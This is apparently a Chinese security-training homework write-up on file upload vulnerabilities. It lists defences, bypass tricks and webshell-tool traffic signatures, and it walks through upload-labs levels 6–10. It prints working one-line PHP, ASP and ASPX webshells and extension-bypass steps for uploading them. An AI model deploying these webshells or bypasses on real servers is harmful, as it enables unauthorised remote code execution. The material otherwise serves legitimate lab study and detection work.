day7作业:
1. 文件上传防御手段及绕过手段总结
2. 文件上传常用一句话木马
3. 课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)
4. 文件上传无回显如何查找webshell地址
5. 文件上传表单的无参/有参情况下构造表单 -- 加分项
6. upload-labs靶场通关第6-第10关
1.文件上传防御、绕过手段
文件上传防御手段
文件类型验证:
基于扩展名:仅允许特定扩展名的文件上传(如 .jpg, .png)。
基于 MIME 类型:检查文件的 MIME 类型以确保它符合预期。
文件内容检查:
文件签名检测:分析文件的魔数(magic number)或文件头部,以验证其真实类型。
内容扫描:扫描文件内容是否包含恶意代码。
文件名处理:
重命名:在服务器端重命名上传的文件,防止恶意文件名执行。
禁止特殊字符:过滤文件名中的特殊字符或路径遍历字符(如 ../)。
限制文件大小:
设置上传文件的最大大小,防止文件注入攻击或资源耗尽攻击。
上传路径限制:
将上传文件存储在隔离的目录中,防止其被直接访问或执行。
禁止在 Web 根目录下存储上传文件。
权限控制:
对上传文件目录设置合适的文件系统权限,防止写入、执行和读取操作。
避免上传目录可执行,设置合适的目录权限。
用户验证与授权:
确保只有经过身份验证的用户才能上传文件。
采用权限检查来限制文件上传功能的访问范围。
动态防御:
WAF(Web Application Firewall):利用 WAF 监控和拦截恶意文件上传请求。
内容安全策略:实施严格的内容安全策略(CSP)以减少文件执行风险。
日志记录与监控:
记录上传活动日志,监控异常活动并进行及时响应。
文件上传绕过手段
文件扩展名绕过:
使用双扩展名(如 file.php.jpg)或混淆扩展名(如 file.php%00.jpg)。
MIME 类型伪造:
修改请求中的 Content-Type 头部以伪造文件型。
上传包含正确 MIME 类型的文件以绕过检查。
魔数伪造:
伪造文件的魔数(文件签名),以绕过文件内容检查。
路径遍历攻击:
使用路径遍历字符(如 ../)尝试将文件上传到不允许的目录。
绕过文件名过滤:
利用 Unicode 编码、URL 编码等方式绕过文件名过滤(如 file%20name.php)。
利用不安全的文件处理:
上传带有恶意代码的文件(如 PHP webshell),并尝试通过 Web 服务器的漏洞执行。
上传脚本利用:
在允许的文件类型(如图片)中嵌入脚本,利用 Web 服务器的漏洞执行。
利用文件内容绕过:
上传具有正确文件类型但内部含有恶意代码的文件(如 .jpg 文件内含 PHP 代码)。
分块上传:
将恶意文件分块上传,再在服务器端组合这些块进行恶意操作。
2.一句话木马
php:<?php @eval($_POST['x']);?>
asp:<%execute(request('x'))%>
aspx:<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
3.webshell工具
蚁剑(AntSword)
配置木马
连接webshell
配置代理
bp查看流量
流量特征:
每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。
冰蝎(Behinder)
配置木马
连接webshell
配置代理
bp查看流量
流量特征:
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Content-type: application/x-www-form-urlencoded
哥斯拉(GodzillaCache)
配置木马
连接webshell
配置代理
bp查看流量
流量特征:
pass=eval(base64_decode...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4.无回显查找
猜测常见目录:一些常见的上传目录包括 /uploads/, /files/, /attachments/, /images/, /temp/ 等。可以尝试直接访问这些目录。
目录扫描工具:可以使用dirmap、御剑等目录扫描工具
bp:bp抓包查看文件所在位置和被修改后的文件名
5.构造表单
无参文件上传表单
无参文件上传表单是指表单中没有其他额外的输入字段,只有文件上传字段。
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit">Upload</button>
</form>
有参文件上传表单
有参文件上传表单除了文件上传字段之外还包含了其他参数字段。
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="testuser">
<input type="text" name="description" value="Test file upload">
<input type="file" name="file">
<button type="submit">Upload</button>
</form>
6.upload-labs
第六关
大小写绕过,上传木马文件1.php
抓包修改为1.phP
发送查看后门路径
连接webshell
第七关
空格绕过,上传木马文件1.php
抓包修改为1.php空格
发送查看后门路径
连接webshell
第八关
加点绕过,上传木马文件1.php
抓包修改为1.php.
发送查看后门路径
连接webshell
第九关
::$DATA绕过,上传木马文件2.php
抓包修改为2.php::$DATA
发送查看后门路径
连接webshell
第十关
没有循环验证,上传木马文件2.php
抓包修改为2.php. .(点空格点)
发送查看后门路径
连接webshell